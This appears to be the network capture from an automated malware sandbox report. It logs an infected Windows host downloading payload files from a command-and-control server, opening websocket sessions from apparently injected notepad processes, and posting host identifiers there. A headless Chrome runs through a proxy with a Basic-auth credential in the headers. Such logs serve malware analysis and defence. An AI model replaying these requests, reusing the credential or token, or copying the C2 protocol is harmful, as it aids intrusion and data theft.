Dec 27, 2024 09:10:00.455245018 CET	269	IN	HTTP/1.1 407 Proxy Authentication Required Date: Fri, 27 Dec 2024 08:10:00 GMT Content-Type: text/html;charset=utf-8 Content-Length: 28 Content-Language: en Proxy-Authenticate: Basic realm="Linksys EA6990-EK" Connection: keep-alive Data Raw: 53 74 69 6e 67 65 72 20 43 41 43 48 45 20 41 43 43 45 53 53 20 44 45 4e 49 45 44 0a Data Ascii: Stinger CACHE ACCESS DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49751	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:09:59.312391043 CET	240	OUT	CONNECT myaccount.google.com:443 HTTP/1.1 Host: myaccount.google.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36
Dec 27, 2024 09:10:00.411433935 CET	269	IN	HTTP/1.1 407 Proxy Authentication Required Date: Fri, 27 Dec 2024 08:10:00 GMT Content-Type: text/html;charset=utf-8 Content-Length: 28 Content-Language: en Proxy-Authenticate: Basic realm="Linksys EA6990-EK" Connection: keep-alive Data Raw: 53 74 69 6e 67 65 72 20 43 41 43 48 45 20 41 43 43 45 53 53 20 44 45 4e 49 45 44 0a Data Ascii: Stinger CACHE ACCESS DENIED
Dec 27, 2024 09:10:00.426230907 CET	297	OUT	CONNECT myaccount.google.com:443 HTTP/1.1 Host: myaccount.google.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==
Dec 27, 2024 09:10:00.764142990 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49754	185.196.8.218	56711	4500	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:09:59.673623085 CET	171	OUT	GET /a2/ccecba6ceb90df2d819dbfeb0d750338c3b656e35881f10492947a9b102b3a0d.bin HTTP/1.1 Host: 185.196.8.218:56711 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
Dec 27, 2024 09:10:01.045140028 CET	244	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:10:00 GMT Content-Type: application/octet-stream Content-Length: 32 Last-Modified: Tue, 24 Dec 2024 01:53:22 GMT Connection: keep-alive ETag: "676a1412-20" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49756	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:01.220972061 CET	295	OUT	CONNECT accounts.google.com:443 HTTP/1.1 Host: accounts.google.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==
Dec 27, 2024 09:10:02.475629091 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49757	185.196.8.218	56711	4500	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:01.436414957 CET	171	OUT	GET /a2/82db253b2ed6b9665d2b1f02de9d73d0793f3c7c3669e9899de3e09d08e4df21.bin HTTP/1.1 Host: 185.196.8.218:56711 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
Dec 27, 2024 09:10:02.786988020 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:10:02 GMT Content-Type: application/octet-stream Content-Length: 11750428 Last-Modified: Tue, 24 Dec 2024 01:53:22 GMT Connection: keep-alive ETag: "676a1412-b34c1c" Accept-Ranges: bytes Data Raw: 83 cc 00 58 38 6b 2a 97 48 8d c0 39 62 33 b0 06 00 a5 09 c7 d4 1a 06 d9 8d b2 2a 5c 60 89 cf 16 56 c8 69 a3 df c4 f5 f1 bc df 9d 70 35 4e c0 88 34 63 82 93 22 93 bf f9 d8 d1 dd 9d ed 1e 3e 2c 9b 8d e8 28 64 d1 94 59 55 a0 65 66 b9 d0 cb 7d d7 05 2b 64 55 ac 36 fb 65 5e fa 50 84 7c 6b fd 8d 64 11 bc 2f fa 16 f5 77 74 64 a3 94 fe 93 71 db b5 07 89 bb 21 c7 95 e8 cb 8f 49 7c 5b 85 bb 0a 02 b4 03 05 2f 7b 05 78 30 bc b3 69 f1 ed e6 98 c4 65 a6 11 4c a1 77 01 0f df d0 a4 4d 95 72 b1 46 72 52 61 2d b7 0f dc df 6b 88 e8 33 66 0a 46 b8 9c 69 6e 54 a1 92 d1 f8 ee dd 20 49 d1 a5 69 1f 8a 24 39 2c 69 52 94 d0 d9 ec 53 f6 ae 22 a7 8e 99 15 fa 11 a3 d4 5c 16 25 c8 77 bd 33 27 1e c5 b4 8d 0c 9a bc 51 71 c8 ba c2 bf 4b 1e 87 6a 71 c0 af a3 99 03 ff 74 20 dc bd e4 4c 35 69 fe 6a 14 7a 6b 78 d7 aa c9 81 75 ed 53 2a d6 b1 e9 c0 47 41 91 94 2d 3e 63 df 3e 00 d5 04 f2 7e cc 71 54 84 73 7d 20 d6 c7 f4 66 f0 a8 a9 02 63 cc 4c df 55 b2 aa e1 b4 19 55 68 e2 8e e2 04 7d 97 4a e3 5e bc 42 0c ac 73 1a 54 4d 78 6b f7 01 9e af [TRUNCATED] Data Ascii: X8kH9b3\`Vip5N4c">,(dYUef}+dU6e^P\|kd/wtdq!I\|[/{x0ieLwMrFrRa-k3fFinT Ii$9,iRS"\%w3'QqKjqt L5ijzkxuS*GA->c>~qTs} fcLUUh}J^BsTMxkHq$&{~ulOXiaXnfoXdZnuu_,(7t7nJ}:MLC2)C3N'THSC=NHCmd"5@!@^es^0Q3/8}#F?DI);0q/$GWfR s&_k9a4j A?i!$VQP\|C)Ks9`)7xL)5t'1W{)2%hY?eR'4V^OutN9QRJ=@lu%P@U$#T?eiDN/=5EUaE9+&+3RIOqkxWTP-CgC+4U[}(:17=HE<oNf\|ok_).9bwd^(ipleF?[ !-2yN~KrkN4l^I o~&.:[5XV1?z=+UsVk$yqZ<B:O4Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49758	185.196.8.218	56711	4444	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:01.597316027 CET	171	OUT	GET /a2/ccecba6ceb90df2d819dbfeb0d750338c3b656e35881f10492947a9b102b3a0d.bin HTTP/1.1 Host: 185.196.8.218:56711 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
Dec 27, 2024 09:10:02.939436913 CET	276	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:10:02 GMT Content-Type: application/octet-stream Content-Length: 32 Last-Modified: Tue, 24 Dec 2024 01:53:22 GMT Connection: keep-alive ETag: "676a1412-20" Accept-Ranges: bytes Data Raw: 45 44 76 32 35 33 38 4e 4c 79 57 4a 39 47 31 53 64 6b 4c 4a 71 54 6e 77 69 65 41 33 72 6a 58 38 Data Ascii: EDv2538NLyWJ9G1SdkLJqTnwieA3rjX8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49760	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:02.772725105 CET	285	OUT	CONNECT www.google.com:443 HTTP/1.1 Host: www.google.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==
Dec 27, 2024 09:10:04.011280060 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49761	185.196.8.218	56711	4444	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:03.061094999 CET	171	OUT	GET /a2/82db253b2ed6b9665d2b1f02de9d73d0793f3c7c3669e9899de3e09d08e4df21.bin HTTP/1.1 Host: 185.196.8.218:56711 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
Dec 27, 2024 09:10:04.492448092 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:10:04 GMT Content-Type: application/octet-stream Content-Length: 11750428 Last-Modified: Tue, 24 Dec 2024 01:53:22 GMT Connection: keep-alive ETag: "676a1412-b34c1c" Accept-Ranges: bytes Data Raw: 83 cc 00 58 38 6b 2a 97 48 8d c0 39 62 33 b0 06 00 a5 09 c7 d4 1a 06 d9 8d b2 2a 5c 60 89 cf 16 56 c8 69 a3 df c4 f5 f1 bc df 9d 70 35 4e c0 88 34 63 82 93 22 93 bf f9 d8 d1 dd 9d ed 1e 3e 2c 9b 8d e8 28 64 d1 94 59 55 a0 65 66 b9 d0 cb 7d d7 05 2b 64 55 ac 36 fb 65 5e fa 50 84 7c 6b fd 8d 64 11 bc 2f fa 16 f5 77 74 64 a3 94 fe 93 71 db b5 07 89 bb 21 c7 95 e8 cb 8f 49 7c 5b 85 bb 0a 02 b4 03 05 2f 7b 05 78 30 bc b3 69 f1 ed e6 98 c4 65 a6 11 4c a1 77 01 0f df d0 a4 4d 95 72 b1 46 72 52 61 2d b7 0f dc df 6b 88 e8 33 66 0a 46 b8 9c 69 6e 54 a1 92 d1 f8 ee dd 20 49 d1 a5 69 1f 8a 24 39 2c 69 52 94 d0 d9 ec 53 f6 ae 22 a7 8e 99 15 fa 11 a3 d4 5c 16 25 c8 77 bd 33 27 1e c5 b4 8d 0c 9a bc 51 71 c8 ba c2 bf 4b 1e 87 6a 71 c0 af a3 99 03 ff 74 20 dc bd e4 4c 35 69 fe 6a 14 7a 6b 78 d7 aa c9 81 75 ed 53 2a d6 b1 e9 c0 47 41 91 94 2d 3e 63 df 3e 00 d5 04 f2 7e cc 71 54 84 73 7d 20 d6 c7 f4 66 f0 a8 a9 02 63 cc 4c df 55 b2 aa e1 b4 19 55 68 e2 8e e2 04 7d 97 4a e3 5e bc 42 0c ac 73 1a 54 4d 78 6b f7 01 9e af [TRUNCATED] Data Ascii: X8kH9b3\`Vip5N4c">,(dYUef}+dU6e^P\|kd/wtdq!I\|[/{x0ieLwMrFrRa-k3fFinT Ii$9,iRS"\%w3'QqKjqt L5ijzkxuS*GA->c>~qTs} fcLUUh}J^BsTMxkHq$&{~ulOXiaXnfoXdZnuu_,(7t7nJ}:MLC2)C3N'THSC=NHCmd"5@!@^es^0Q3/8}#F?DI);0q/$GWfR s&_k9a4j A?i!$VQP\|C)Ks9`)7xL)5t'1W{)2%hY?eR'4V^OutN9QRJ=@lu%P@U$#T?eiDN/=5EUaE9+&+3RIOqkxWTP-CgC+4U[}(:17=HE<oNf\|ok_).9bwd^(ipleF?[ !-2yN~KrkN4l^I o~&.:[5XV1?z=+UsVk$yqZ<B:O4Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49769	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:05.359466076 CET	305	OUT	CONNECT www.google-analytics.com:443 HTTP/1.1 Host: www.google-analytics.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==
Dec 27, 2024 09:10:06.492185116 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49770	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:05.360110998 CET	297	OUT	CONNECT fonts.googleapis.com:443 HTTP/1.1 Host: fonts.googleapis.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==
Dec 27, 2024 09:10:06.514384031 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49771	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:05.360965967 CET	287	OUT	CONNECT www.gstatic.com:443 HTTP/1.1 Host: www.gstatic.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==
Dec 27, 2024 09:10:06.488977909 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49772	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:05.361313105 CET	295	OUT	CONNECT ajax.googleapis.com:443 HTTP/1.1 Host: ajax.googleapis.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==
Dec 27, 2024 09:10:06.478781939 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49773	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:05.370922089 CET	307	OUT	CONNECT lh3.googleusercontent.com:443 HTTP/1.1 Host: lh3.googleusercontent.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==
Dec 27, 2024 09:10:06.575092077 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49780	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:07.328349113 CET	291	OUT	CONNECT fonts.gstatic.com:443 HTTP/1.1 Host: fonts.gstatic.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==
Dec 27, 2024 09:10:08.526096106 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49781	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:07.812179089 CET	287	OUT	CONNECT www.gstatic.com:443 HTTP/1.1 Host: www.gstatic.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==
Dec 27, 2024 09:10:08.975178957 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49783	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:08.423738003 CET	291	OUT	CONNECT fonts.gstatic.com:443 HTTP/1.1 Host: fonts.gstatic.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49782	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:08.423832893 CET	291	OUT	CONNECT fonts.gstatic.com:443 HTTP/1.1 Host: fonts.gstatic.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49784	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:08.424247980 CET	291	OUT	CONNECT fonts.gstatic.com:443 HTTP/1.1 Host: fonts.gstatic.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49785	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:08.431163073 CET	291	OUT	CONNECT fonts.gstatic.com:443 HTTP/1.1 Host: fonts.gstatic.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49791	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:11.139924049 CET	293	OUT	CONNECT csp.withgoogle.com:443 HTTP/1.1 Host: csp.withgoogle.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==
Dec 27, 2024 09:10:12.299031019 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49797	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:11.522332907 CET	327	OUT	CONNECT optimizationguide-pa.googleapis.com:443 HTTP/1.1 Host: optimizationguide-pa.googleapis.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36 Proxy-Authorization: Basic YWxwaGFsYWJzOmtiMmVjN3V3cQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49853	185.196.8.218	8080	1852	C:\Windows\System32\notepad.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:35.251266003 CET	390	OUT	GET /client HTTP/1.1 Host: 185.196.8.218:8080 User-Agent: Go-http-client/1.1 Connection: Upgrade Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3NjYzNTQ4OTQsInVzZXIiOiJkZWZhdWx0In0.6GK2dUm-TC5Qd796hwhC2WEDphFvKroCpGwWAdb0-_M Sec-WebSocket-Key: EQsJjefmFmSjgpL2czq1OQ== Sec-WebSocket-Version: 13 Upgrade: websocket X-Client: ec:f4:bb:ea:15:88
Dec 27, 2024 09:10:36.658798933 CET	129	IN	HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: n6vq+WEK9jneyEVdk6bmjwpwJLo=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49854	185.196.8.218	8080	1852	C:\Windows\System32\notepad.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:35.251440048 CET	303	OUT	GET /health HTTP/1.1 Host: 185.196.8.218:8080 User-Agent: Go-http-client/1.1 Content-Type: application/json Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3NjYzNTQ4OTQsInVzZXIiOiJkZWZhdWx0In0.6GK2dUm-TC5Qd796hwhC2WEDphFvKroCpGwWAdb0-_M Accept-Encoding: gzip
Dec 27, 2024 09:10:36.593461990 CET	75	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:10:36 GMT Content-Length: 0
Dec 27, 2024 09:10:56.863874912 CET	731	OUT	POST /device HTTP/1.1 Host: 185.196.8.218:8080 User-Agent: Go-http-client/1.1 Content-Length: 406 Content-Type: application/json Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3NjYzNTQ4OTQsInVzZXIiOiJkZWZhdWx0In0.6GK2dUm-TC5Qd796hwhC2WEDphFvKroCpGwWAdb0-_M Accept-Encoding: gzip Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 34 39 34 31 32 36 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 31 39 32 2e 31 36 38 2e 32 2e 34 22 2c 22 64 65 76 69 63 65 5f 69 64 22 3a 22 37 31 34 33 34 44 35 36 2d 31 35 34 38 2d 45 44 33 44 2d 41 45 45 36 2d 43 37 35 41 45 43 44 39 33 42 46 30 22 2c 22 6f 73 5f 76 65 72 73 69 6f 6e 22 3a 22 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 31 30 2e 30 2e 31 39 30 34 35 20 36 34 2d 62 69 74 20 31 39 30 34 35 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 [TRUNCATED] Data Ascii: {"hostname":"494126","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"192.168.2.4","device_id":"71434D56-1548-ED3D-AEE6-C75AECD93BF0","os_version":"Microsoft Windows 10 Pro 10.0.19045 64-bit 19045","country":"United States","timezone":"America/New_York","public_ip":"8.46.123.189","port":"8080","fetched_unix":1735287055}
Dec 27, 2024 09:10:57.309916973 CET	75	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:10:57 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49877	185.196.8.218	8080	280	C:\Windows\System32\notepad.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:43.199807882 CET	390	OUT	GET /client HTTP/1.1 Host: 185.196.8.218:8080 User-Agent: Go-http-client/1.1 Connection: Upgrade Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3NjYzNTQ4OTQsInVzZXIiOiJkZWZhdWx0In0.6GK2dUm-TC5Qd796hwhC2WEDphFvKroCpGwWAdb0-_M Sec-WebSocket-Key: KM8I4UX8OpCZjFvcf/HxLQ== Sec-WebSocket-Version: 13 Upgrade: websocket X-Client: ec:f4:bb:ea:15:88
Dec 27, 2024 09:10:44.607013941 CET	129	IN	HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: Yf+tTyZLnrqUsAvS7KdM7Ijd4/c=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49878	185.196.8.218	8080	280	C:\Windows\System32\notepad.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:10:43.200366020 CET	303	OUT	GET /health HTTP/1.1 Host: 185.196.8.218:8080 User-Agent: Go-http-client/1.1 Content-Type: application/json Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3NjYzNTQ4OTQsInVzZXIiOiJkZWZhdWx0In0.6GK2dUm-TC5Qd796hwhC2WEDphFvKroCpGwWAdb0-_M Accept-Encoding: gzip
Dec 27, 2024 09:10:44.607136011 CET	75	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:10:44 GMT Content-Length: 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	104.26.8.44	443	6264	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:09:40 UTC	93	OUT	GET /json/ HTTP/1.1 Host: ipapi.co User-Agent: ipapi.co/#go-v1.5 Accept-Encoding: gzip
2024-12-27 08:09:41 UTC	922	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:09:41 GMT Content-Type: application/json Content-Length: 764 Connection: close Allow: HEAD, POST, GET, OPTIONS, OPTIONS X-Frame-Options: DENY Vary: Host, origin X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l2o3Ibf0RkCyPBERM%2BKo0i%2F8PScx6l9cR%2FQim0mYsLzMgB9MwPogEvNTU8pXqDtyCZby2E88krC4%2FSjdXUSrFzQKlmgvdcaiHJToZvC%2BuoHe6V2AuXSvv9SS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d46e8b4472bc-EWR server-timing: cfL4;desc="?proto=TCP&rtt=4827&min_rtt=2018&rtt_var=6177&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2790&recv_bytes=712&delivery_rate=1446977&cwnd=253&unsent_bytes=0&cid=c218b952bef5a96c&ts=830&x=0"
